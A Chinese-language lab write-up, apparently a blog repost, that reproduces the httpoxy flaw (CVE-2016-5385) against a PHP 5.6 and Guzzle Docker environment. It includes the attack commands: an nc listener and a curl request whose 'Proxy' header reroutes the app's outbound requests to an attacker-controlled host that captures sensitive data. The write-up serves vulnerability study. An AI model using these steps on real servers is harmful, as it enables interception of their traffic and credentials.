当前位置: 首页 > news >正文

CVE-2016-5385 CGI 应用环境变量注入漏洞 (复现)

docker compose up -d启动基于 PHP 5.6.23 + GuzzleHttp 6.2.0 的应用环境
访问应用页面 http://your-ip:8080/index.php,观察页面显示的Origin信息,此时Origin应与当前请求的服务器 IP 一致
image

准备启动一个可用的 HTTP 代理
执行python3 -m http.server 8000开启代理
执行nc -lvp 8000监听代理端口
向目标页面发送包含Proxy头的请求,头的值设为准备的代理地址
curl -H "Proxy: http://192.168.75.132:8000/" http://192.168.75.132:8080/index.php
image

再次访问 http://your-ip:8080/index.php,此时页面显示的Origin会变为代理服务器的 IP(如x.x.122.65),说明请求已被代理服务器转发
image

如图,箭头指示方向IP会改变
监听的代理端口会监听到数据包(包含敏感信息)

http://www.sczhlp.com/news/1536/

相关文章:

  • spring和Mybatis的逆向工程
  • 解决keil使用UTF-8乱码问题,兼容UTF-8编码,但keil显示不乱码的解决方案
  • 解决MySQL删除/var/lib/mysql下的所有文件后无法启动的问题
  • 开源中国:以国产开源生态筑基,赋能智能研发全栈升级
  • godot 二维报表库
  • EG800KCN移远4G模块wifiscan辅助定位
  • 基于小波分析和TV非凸模型的图像去模糊去噪算法
  • Ubuntu24.04体验Qwen3-Coder
  • 实验室检测仪器数据采集监控联网
  • Adobe InDesign 2025(id2025)安装教程-附mac+win安装包
  • IC验证常见88道
  • 【JPCS出版】第六届先进材料与智能制造国际学术会议(ICAMIM 2025)
  • html5代码片段
  • DevOps 平台选择参考:Gitee 的功能特性与适用情况解析
  • 图像生成-概率密度函数的变量变换--05 - jack
  • Webstorm 和 Intellij Idea 最新版 Git 本地修改丢失,手工开启 git 的 Local Changes
  • Java核心类——2.StringBuilder
  • 提高组线段树汇总
  • Lock 、 Monitor 、SemaphoreSlim 以及await一起
  • 还在用网闸做跨网文件交换?2025年该升级了!
  • 部署分布式版本控制系统git,gitlab
  • DP - 数位 dp
  • 记Codes 研发项目管理平台——拖拽式无代码CICD 创新实现
  • 利用改进遗传算法进行大地电磁视电阻率反演
  • 移远4G EG800K-CN 关于基站定位
  • 安全围栏
  • linux查看so接口函数 - 河北大学
  • Linux执行程序脚本,以及自动生成相关脚本
  • milvus用户管理
  • 比FTP更懂中国企业:国产FTP替代方案重构文件传输体验